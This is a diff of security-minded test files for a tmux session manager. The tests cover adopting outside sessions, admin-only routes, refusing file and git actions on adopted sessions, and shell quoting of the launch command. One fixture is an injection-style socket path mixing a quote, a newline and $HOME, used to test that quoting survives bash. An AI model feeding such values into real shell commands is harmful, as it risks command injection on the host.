+  // ⚠️ Neither of these is a mock-only concern: an adopted session's `workingDir` is the
+  // neutral wrapper folder `/tmp`, so a live one wrote `/tmp/@ralph_prompt.md` on the host
+  // and answered success, a predictable name in a folder anyone can write to.
+  describe.each([
+    ['fix-plan/write', {}],
+    ['fix-plan/read', {}],
+    ['ralph-prompt/write', { content: 'prompt' }],
+  ])('POST %s', (route, payload) => {
+    let dir: string;
+    beforeEach(() => {
+      dir = mkdtempSync(join(tmpdir(), 'adopted-ralph-'));
+      writeFileSync(join(dir, '@fix_plan.md'), '- [ ] task\n');
+    });
+    afterEach(() => rmSync(dir, { recursive: true, force: true }));
+
+    const post = async (isAdopted: boolean) => {
+      const h = await createRouteTestHarness(registerRalphRoutes, { sessionId: SID });
+      const ralphTracker = { todos: [], generateFixPlanMarkdown: () => '', importFixPlanMarkdown: () => 0 };
+      Object.assign(h.ctx._session as object, { isAdopted, workingDir: dir, ralphTracker });
+      const res = await h.app.inject({ method: 'POST', url: `/api/sessions/${SID}/${route}`, payload });
+      await h.app.close();
+      return res.json();
+    };
+
+    it('refuses an adopted session and touches nothing', async () => {
+      const before = readdirSync(dir);
+      const body = await post(true);
+      expect(body.success).toBe(false);
+      expect(body.error).toMatch(/adopted/i);
+      expect(readdirSync(dir)).toEqual(before);
+    });
+
+    it('still answers for a session Codeman started', async () => {
+      expect((await post(false)).success).toBe(true);
+    });
+  });
+});
+
+describe('GET /api/mux/foreign', () => {
+  let prev: string | undefined;
+  beforeEach(() => {
+    prev = process.env.CODEMAN_MULTIUSER;
+  });
+  afterEach(() => {
+    if (prev === undefined) delete process.env.CODEMAN_MULTIUSER;
+    else process.env.CODEMAN_MULTIUSER = prev;
+  });
+
+  it('is admin-only in multi-user mode — it exposes every user’s processes and cwds', async () => {
+    process.env.CODEMAN_MULTIUSER = '1';
+    const { app } = await createRouteTestHarness(registerMuxRoutes, {
+      authUser: { username: 'bob', role: 'user' },
+    });
+    const res = await app.inject({ method: 'GET', url: '/api/mux/foreign' });
+    expect(res.statusCode).toBeGreaterThanOrEqual(400);
+    await app.close();
+  });
+
+  it('answers an admin', async () => {
+    process.env.CODEMAN_MULTIUSER = '1';
+    const { app } = await createRouteTestHarness(registerMuxRoutes, {
+      authUser: { username: 'root', role: 'admin' },
+    });
+    expect((await app.inject({ method: 'GET', url: '/api/mux/foreign' })).statusCode).toBe(200);
+    await app.close();
+  });
+
+  it('answers in single-user mode, where the admin gate is a no-op', async () => {
+    delete process.env.CODEMAN_MULTIUSER;
+    const { app } = await createRouteTestHarness(registerMuxRoutes);
+    const res = await app.inject({ method: 'GET', url: '/api/mux/foreign' });
+    expect(res.statusCode).toBe(200);
+    // Real discovery is disabled under VITEST, so this pins the shape, not the
+    // content. The body is bare here: the uniform envelope is applied by the
+    // server's own hook, which a single-route harness does not install.
+    expect(res.json()).toHaveProperty('sessions');
+    expect(res.json()).toHaveProperty('canScanWide');
+    await app.close();
+  });
+});
+
+describe('POST /api/sessions/adopt', () => {
+  let prev: string | undefined;
+  beforeEach(() => {
+    prev = process.env.CODEMAN_MULTIUSER;
+  });
+  afterEach(() => {
+    if (prev === undefined) delete process.env.CODEMAN_MULTIUSER;
+    else process.env.CODEMAN_MULTIUSER = prev;
+  });
+
+  it('is admin-only in multi-user mode — adopting a shell is arbitrary host execution', async () => {
+    process.env.CODEMAN_MULTIUSER = '1';
+    const { app } = await createRouteTestHarness(registerSessionRoutes, {
+      authUser: { username: 'bob', role: 'user' },
+    });
+    const res = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'x' } });
+    expect(res.statusCode).toBeGreaterThanOrEqual(400);
+    await app.close();
+  });
+
+  it('404s when the re-resolve no longer sees the target', async () => {
+    // The browser hands back only an opaque id; the socket path and session name
+    // are re-derived server-side, so a vanished target is simply absent from the
+    // fresh list.
+    const { app } = await createRouteTestHarness(registerSessionRoutes);
+    const res = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'nope' } });
+    expect(res.json().success).toBe(false);
+    expect(res.json().errorCode).toBe('NOT_FOUND');
+    await app.close();
+  });
+
+  it('rejects a body that tries to supply a socket path or session name', async () => {
+    // The schema takes the opaque id and nothing else. That is why a path can
+    // never reach the launch chain from the browser.
+    const { app } = await createRouteTestHarness(registerSessionRoutes);
+    const res = await app.inject({
+      method: 'POST',
+      url: '/api/sessions/adopt',
+      payload: { id: 'x', socketPath: '/tmp/tmux-0/default', targetSession: 'work' },
+    });
+    expect(res.json().success).toBe(false);
+    expect(res.json().errorCode).toBe('INVALID_INPUT');
+    await app.close();
+  });
+});
+
+/** The adoption record of a local wrapper, as the route writes it. */
+function localAdopt(socketPath: string, targetSession: string): SessionAdopt {
+  return { location: 'local', socketPath, targetSession, viewSession: 'codeman-view-00000000' };
+}
+
+describe('a successful adoption', () => {
+  /** A candidate whose cwd is BOTH unsafe for SAFE_PATH_PATTERN and not on this host. */
+  const CANDIDATE = {
+    id: 'cand-1',
+    location: 'local' as const,
+    socketPath: '/tmp/tmux-0/default',
+    sessionName: 'work',
+    mode: 'claude' as const,
+    workingDir: '/home/them/Program Files (x86)/c++',
+    command: 'claude',
+    panePid: 4242,
+    paneCurrentCommand: 'node',
+    createdAt: 1,
+    windows: 1,
+    attached: false,
+  };
+
+  beforeEach(() => {
+    discoverForeignSessions.mockResolvedValue({ sessions: [CANDIDATE], notes: [] });
+  });
+
+  it('gives the wrapper a neutral LOCAL workingDir, never the foreign pane\u2019s cwd', async () => {
+    // That cwd carries `+`, spaces and parentheses, so using it would make
+    // createSession throw and the tab would never start; and when the candidate
+    // is a container or ssh pane it is not a path on this host at all, which is
+    // what sent the boot hook sweep into someone else's repo.
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    const res = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(res.statusCode).toBe(200);
+    expect(ctx.addSession).toHaveBeenCalledTimes(1);
+    const created = ctx.addSession.mock.calls[0][0] as unknown as {
+      workingDir: string;
+      adopt?: { paneCurrentPath?: string; targetSession?: string; viewSession?: string };
+    };
+    expect(created.workingDir).toBe('/tmp');
+    expect(created.workingDir).not.toBe(CANDIDATE.workingDir);
+    // The foreign cwd survives for display only.
+    expect(created.adopt?.paneCurrentPath).toBe(CANDIDATE.workingDir);
+    await app.close();
+  });
+
+  it('reuses the existing wrapper rather than making a second one for the same target', async () => {
+    // Keyed on the target and not on our opaque candidate id: a wrapper restored
+    // after a server restart does not carry that id.
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    ctx.sessions.set('wrapper-1', ctx._session);
+    ctx._session.adopt = localAdopt(CANDIDATE.socketPath, CANDIDATE.sessionName);
+    const res = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(res.statusCode).toBe(200);
+    expect(res.json().alreadyAdopted).toBe(true);
+    expect(ctx.addSession).not.toHaveBeenCalled();
+    await app.close();
+  });
+
+  it('sees a wrapper whose tab has not started yet, which has no mux record to find', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    const first = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(first.json().adopted).toBe(true);
+    expect(ctx.mux.getSessions()).toEqual([]);
+    const second = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(second.json().alreadyAdopted).toBe(true);
+    expect(ctx.addSession).toHaveBeenCalledTimes(1);
+    await app.close();
+  });
+
+  it('refuses a second adopt of a target whose wrapper is still being created', async () => {
+    // Two devices on one row: both pass the live-session check, because the first
+    // is parked on the layout lock and not yet in the map.
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    const add = ctx.addSession.getMockImplementation()!;
+    let release!: () => void;
+    const held = new Promise<void>((resolve) => (release = resolve));
+    ctx.addSession.mockImplementationOnce(async (s: never) => {
+      await held;
+      return add(s);
+    });
+    const first = app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    await vi.waitFor(() => expect(ctx.addSession).toHaveBeenCalledTimes(1));
+    const second = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(second.json().success).toBe(false);
+    expect(second.json().errorCode).toBe('SESSION_BUSY');
+    release();
+    expect((await first).json().adopted).toBe(true);
+    expect(ctx.addSession).toHaveBeenCalledTimes(1);
+    await app.close();
+  });
+
+  it('says "could not reach it" rather than "gone" when discovery left a note', async () => {
+    // On a flaky link the session is alive and sitting right there; reporting
+    // it as deleted is the wrong answer, not just an unhelpful one.
+    discoverForeignSessions.mockResolvedValue({ sessions: [], notes: ['ssh box: connection timed out'] });
+    const { app } = await createRouteTestHarness(registerSessionRoutes);
+    const res = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    expect(res.json().success).toBe(false);
+    expect(res.json().error).toMatch(/Could not reach it/);
+    expect(res.json().error).toContain('connection timed out');
+    await app.close();
+  });
+
+  it('carries the adopt metadata that a restart needs to rebuild the command', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'cand-1' } });
+    const created = ctx.addSession.mock.calls[0][0] as unknown as {
+      adopt?: { socketPath?: string; targetSession?: string; viewSession?: string };
+      isAdopted?: boolean;
+    };
+    expect(created.isAdopted).toBe(true);
+    expect(created.adopt?.socketPath).toBe(CANDIDATE.socketPath);
+    expect(created.adopt?.targetSession).toBe(CANDIDATE.sessionName);
+    // Derived from the Codeman session id, so it is provably ours to kill.
+    expect(created.adopt?.viewSession).toMatch(/^codeman-view-/);
+    await app.close();
+  });
+});
+
+describe('same-named sessions in different locations', () => {
+  // Containers commonly run tmux as root with default names, so `0` in two
+  // containers is the same (socket, name) pair, and the same goes for this machine
+  // and an ssh host with the same uid.
+  const SHARED = {
+    socketPath: '/tmp/tmux-0/default',
+    sessionName: '0',
+    mode: 'shell' as const,
+    workingDir: '/workspace',
+    command: 'bash',
+    createdAt: 1,
+    windows: 1,
+    attached: false,
+  };
+  const IN_A = { ...SHARED, id: 'in-a', location: 'docker' as const, hostId: 'h1', containerName: 'box-a' };
+  const IN_B = { ...SHARED, id: 'in-b', location: 'docker' as const, hostId: 'h1', containerName: 'box-b' };
+  const OTHER_ENGINE = { ...SHARED, id: 'in-c', location: 'docker' as const, hostId: 'h2', containerName: 'box-a' };
+  const ON_THIS_HOST = { ...SHARED, id: 'here', location: 'local' as const };
+
+  beforeEach(() => {
+    discoverForeignSessions.mockResolvedValue({ sessions: [IN_A, IN_B, OTHER_ENGINE, ON_THIS_HOST], notes: [] });
+  });
+
+  it('gives each location its own key, and a wrapper the key of its candidate', () => {
+    const keys = [IN_A, IN_B, OTHER_ENGINE, ON_THIS_HOST].map(foreignTargetKey);
+    expect(new Set(keys).size).toBe(4);
+    expect(
+      foreignTargetKey(
+        adoptTargetIdentity({
+          ...localAdopt(SHARED.socketPath, SHARED.sessionName),
+          location: 'docker',
+          docker: { hostId: 'h1', label: 'one', engine: 'docker', containerName: 'box-b' },
+        })
+      )
+    ).toBe(foreignTargetKey(IN_B));
+  });
+
+  it('adopting one never returns the tab of another', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    const a = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'in-a', docker: true } });
+    const b = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'in-b', docker: true } });
+    const local = await app.inject({ method: 'POST', url: '/api/sessions/adopt', payload: { id: 'here' } });
+    for (const res of [a, b, local]) expect(res.json().adopted).toBe(true);
+    expect(ctx.addSession).toHaveBeenCalledTimes(3);
+    const ids = [a, b, local].map((res) => res.json().session.id);
+    expect(new Set(ids).size).toBe(3);
+    await app.close();
+  });
+
+  it('marks only the row that is really open as open', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerMuxRoutes);
+    ctx.sessions.set('wrapper-b', {
+      id: 'wrapper-b',
+      adopt: {
+        ...localAdopt(SHARED.socketPath, SHARED.sessionName),
+        location: 'docker',
+        docker: { hostId: 'h1', label: 'one', engine: 'docker', containerName: 'box-b' },
+      },
+    } as never);
+    const res = await app.inject({ method: 'GET', url: '/api/mux/foreign' });
+    const adoptedBy = Object.fromEntries(
+      (res.json().sessions as { id: string; adoptedBy?: string }[]).map((s) => [s.id, s.adoptedBy])
+    );
+    expect(adoptedBy).toEqual({ 'in-a': undefined, 'in-b': 'wrapper-b', 'in-c': undefined, here: undefined });
+    await app.close();
+  });
+});
+
+describe('an adopted session has no workspace of ours', () => {
+  // Its `workingDir` is the neutral `/tmp`, which local-looking code would take for
+  // the session's folder: uploads landed there and the tab's close deleted them, and
+  // a Git panel or fetch ran git on whatever sat there. Each refusal is paired with a
+  // plain session, or a broken route would pass it too.
+  const adopted = (s: { isAdopted: boolean; adopt?: SessionAdopt }) => {
+    s.isAdopted = true;
+    s.adopt = localAdopt('/tmp/tmux-1000/default', 'work');
+  };
+
+  it('refuses a prompt upload before touching disk', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    adopted(ctx._session);
+    const res = await app.inject({
+      method: 'POST',
+      url: `/api/sessions/${ctx._sessionId}/paste-image`,
+      headers: { 'x-codeman-csrf': '1' },
+    });
+    expect(res.statusCode).toBe(400);
+    expect(res.json().error).toMatch(/adopted/);
+    await app.close();
+  });
+
+  it('refuses the image watcher, and leaves it alone being switched off', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    adopted(ctx._session);
+    const post = (enabled: boolean) =>
+      app.inject({ method: 'POST', url: `/api/sessions/${ctx._sessionId}/image-watcher`, payload: { enabled } });
+    expect((await post(true)).json().success).toBe(false);
+    expect((await post(false)).json().success).toBe(true);
+    await app.close();
+  });
+
+  it('refuses the per-session git fetch settings', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    adopted(ctx._session);
+    const res = await app.inject({
+      method: 'POST',
+      url: `/api/sessions/${ctx._sessionId}/git-fetch-settings`,
+      payload: { enabled: true },
+    });
+    expect(res.json().success).toBe(false);
+    expect(res.json().error).toMatch(/adopted/);
+    await app.close();
+  });
+
+  it('refuses a custom model, which restarts the CLI in the pane', async () => {
+    const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+    adopted(ctx._session);
+    const res = await app.inject({
+      method: 'POST',
+      url: `/api/sessions/${ctx._sessionId}/custom-model`,
+      payload: { clear: true },
+    });
+    expect(res.json().success).toBe(false);
+    expect(res.json().error).toMatch(/adopted/);
+    await app.close();
+  });
+
+  it('answers unsupported on the git routes, running no git', async () => {
+    const git = vi.fn(async () => ({ stdout: '', stderr: '' }));
+    const { app, ctx } = await createRouteTestHarness((a, c) =>
+      registerGitStatusRoutes(a, c, git as never, async () => [])
+    );
+    adopted(ctx._session);
+    const status = await app.inject({ method: 'GET', url: `/api/sessions/${ctx._sessionId}/git-status` });
+    expect(status.json()).toMatchObject({ success: true, data: { state: 'unsupported', reason: 'adopted' } });
+    const fetch = await app.inject({ method: 'POST', url: `/api/sessions/${ctx._sessionId}/git-fetch` });
+    expect(fetch.json()).toMatchObject({ success: true, data: { state: 'unsupported', reason: 'adopted' } });
+    const diff = await app.inject({
+      method: 'GET',
+      url: `/api/sessions/${ctx._sessionId}/git-diff?repo=x&path=y&kind=z`,
+    });
+    expect(diff.statusCode).toBe(400);
+    expect(git).not.toHaveBeenCalled();
+    await app.close();
+  });
+
+  describe('last-response', () => {
+    let project: string;
+    beforeEach(() => {
+      project = join(process.env.HOME!, '.claude', 'projects', '-tmp');
+      mkdirSync(project, { recursive: true });
+    });
+    afterEach(() => {
+      rmSync(project, { recursive: true, force: true });
+    });
+
+    it('never pairs a transcript by the wrapper folder or the id we launched nothing with', async () => {
+      const { app, ctx } = await createRouteTestHarness(registerSessionRoutes);
+      (ctx._session as unknown as { mode: string }).mode = 'claude';
+      writeFileSync(
+        join(project, `${ctx._sessionId}.jsonl`),
+        JSON.stringify({
+          type: 'assistant',
+          timestamp: '2026-07-21T00:00:01Z',
+          message: { content: [{ type: 'text', text: 'an answer from another conversation' }] },
+        })
+      );
+      const read = async () =>
+        (await app.inject({ method: 'GET', url: `/api/sessions/${ctx._sessionId}/last-response` })).json();
+      expect((await read()).text).toBe('an answer from another conversation');
+      adopted(ctx._session);
+      expect((await read()).text).toBe('');
+      await app.close();
+    });
+  });
+});

test/session-close-fallback.test.ts

@@ -184,6 +184,34 @@ describe('closing the active session', () => {
   });
 });
 
+describe('closing an adopted tab', () => {
+  it('re-reads the outside-sessions list once the wrapper is gone', async () => {
+    // The home screen loads that list as soon as the tab goes, which is BEFORE the DELETE
+    // lands, so the row kept saying "Go to tab" with no tab behind it until the next poll.
+    const app = makeApp(A, [A]);
+    app.sessions.set(A, { id: A, adopt: { targetSession: 'work' } });
+    const order: string[] = [];
+    app._apiDelete = vi.fn(async () => {
+      order.push('delete');
+      return { ok: true, status: 200 };
+    });
+    app.loadForeignSessions = vi.fn(async () => void order.push('reload'));
+
+    await app.closeSession(A);
+
+    expect(order).toEqual(['delete', 'reload']);
+  });
+
+  it('leaves the list alone for a session of our own', async () => {
+    const app = makeApp(A, [A]);
+    app.loadForeignSessions = vi.fn();
+
+    await app.closeSession(A);
+
+    expect(app.loadForeignSessions).not.toHaveBeenCalled();
+  });
+});
+
 describe('closing is optimistic', () => {
   it('drops the tab and selects the next one BEFORE the server answers', async () => {
     const app = makeApp(A);

test/session-options-structure.test.ts

@@ -94,9 +94,11 @@ describe('Session Options modal structure', () => {
     expect(modal.match(/<button[^>]*data-tab="git"[^>]*>/)?.[0]).not.toContain('data-claude-only');
     const open = methodBody('openSessionOptions(sessionId)');
     expect(open).toContain('.set-rail-item[data-tab="git"]');
-    // Remote and Docker sessions answer 'unsupported' on both git routes and the scheduler never fetches them,
-    // so the entry goes the same way the Claude-only ones do.
-    expect(open).toMatch(/gitTabBtn\.style\.display = session\.remote \|\| session\.docker \? 'none' : ''/);
+    // Remote, Docker and adopted sessions answer 'unsupported' on both git routes and the scheduler never fetches
+    // them, so the entry goes the same way the Claude-only ones do.
+    expect(open).toMatch(
+      /gitTabBtn\.style\.display = session\.remote \|\| session\.docker \|\| session\.adopt \? 'none' : ''/
+    );
   });
 
   it('makes the Git rows inert while a session follows the app, the way the keep-warm rows go inert', () => {
@@ -150,6 +152,10 @@ describe('Session Options modal structure', () => {
     const open = methodBody('openSessionOptions(sessionId)');
     expect(open).toContain("getElementById('modalSessionPath')");
     expect(open).toContain('session.workingDir');
-    expect(methodBody('async copySessionPath()')).toContain('_copyText(session.workingDir)');
+    // An adopted session's workingDir is the neutral wrapper folder, so the row shows where the pane was.
+    expect(open).toContain('session.adopt?.paneCurrentPath || session.workingDir');
+    const copy = methodBody('async copySessionPath()');
+    expect(copy).toContain('session?.adopt?.paneCurrentPath || session?.workingDir');
+    expect(copy).toContain('_copyText(path)');
   });
 });

test/tmux-manager.test.ts

@@ -10,6 +10,7 @@
 import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
 import {
   TmuxManager,
+  buildAdoptSessionCommand,
   buildCodexCommand,
   buildRemoteKillCommand,
   buildRemoteLaunchCommand,
@@ -22,6 +23,7 @@ import {
 } from '../src/tmux-manager.js';
 import { execSync, exec } from 'node:child_process';
 import type { MuxSession } from '../src/mux-interface.js';
+import type { SessionAdopt } from '../src/types/session.js';
 
 // ============================================================================
 // Unit Tests (mocked)
@@ -971,6 +973,79 @@ describe('TmuxManager (unit)', () => {
       }
     });
 
+    describe('an adopted launch reaches bash exactly as built', () => {
+      // A single quote, a real newline and `$HOME` in one value. Discovery refuses such a
+      // socket path, so this measures the quoting alone: `$HOME/…:$PATH` in the ssh line and
+      // the `'\''` of every nested quote have to come through the same way.
+      const foreign = {
+        socketPath: "/tmp/it's\n$HOME/sock",
+        targetSession: 'work',
+        viewSession: 'codeman-view-abc12345',
+      };
+      const adoptions: [string, SessionAdopt][] = [
+        ['local', { ...foreign, location: 'local' }],
+        [
+          'docker',
+          {
+            ...foreign,
+            location: 'docker',
+            docker: { hostId: 'local', label: 'Local', engine: 'docker', containerName: 'their-box' },
+          },
+        ],
+        [
+          'ssh',
+          {
+            ...foreign,
+            location: 'remote',
+            remote: { hostId: 'gpu-box', label: 'GPU Box', host: '10.0.0.42', username: 'ubuntu' },
+          },
+        ],
+      ];
+      const respawnLine = () =>
+        [...mockedExecSync.mock.calls, ...vi.mocked(exec).mock.calls]
+          .map(([cmd]) => cmd)
+          .find((cmd) => typeof cmd === 'string' && cmd.includes(' respawn-pane ')) as string;
+
+      it.each(adoptions)('at create: %s', async (_location, adopt) => {
+        const sessionId = 'abc12345-1234-5678-90ab-cdef12345681';
+        const NonTestTmuxManager = await importWithTmuxCommandsEnabled();
+        const nonTestManager = new NonTestTmuxManager();
+
+        try {
+          await nonTestManager.createSession({ sessionId, workingDir: '/tmp', mode: 'shell', adopt });
+          // Equal to the built line: no `cd`, nothing expanded here, nothing re-escaped.
+          expect(await bashArgAfterLocalShell(respawnLine())).toBe(buildAdoptSessionCommand(adopt, sessionId));
+        } finally {
+          nonTestManager.destroy();
+        }
+      });
+
+      it.each(adoptions)('at respawn: %s', async (_location, adopt) => {
+        const sessionId = 'respawnadopted';
+        const NonTestTmuxManager = await importWithTmuxCommandsEnabled();
+        const nonTestManager = new NonTestTmuxManager();
+        nonTestManager.registerSession({
+          sessionId,
+          muxName: 'codeman-abcd7777',
+          pid: 1000,
+          createdAt: Date.now(),
+          workingDir: '/tmp',
+          mode: 'shell',
+          attached: false,
+          adopt,
+        });
+
+        try {
+          // No `adopt` here: a respawn takes it from the tracked session, so a caller
+          // that forgets the field still re-attaches rather than launching an agent.
+          await nonTestManager.respawnPane({ sessionId, workingDir: '/tmp', mode: 'shell' });
+          expect(await bashArgAfterLocalShell(respawnLine())).toBe(buildAdoptSessionCommand(adopt, sessionId));
+        } finally {
+          nonTestManager.destroy();
+        }
+      });
+    });
+
     it('changes the global history default on tmux versions that cannot resize panes', async () => {
       const NonTestTmuxManager = await importWithTmuxCommandsEnabled();
       const nonTestManager = new NonTestTmuxManager();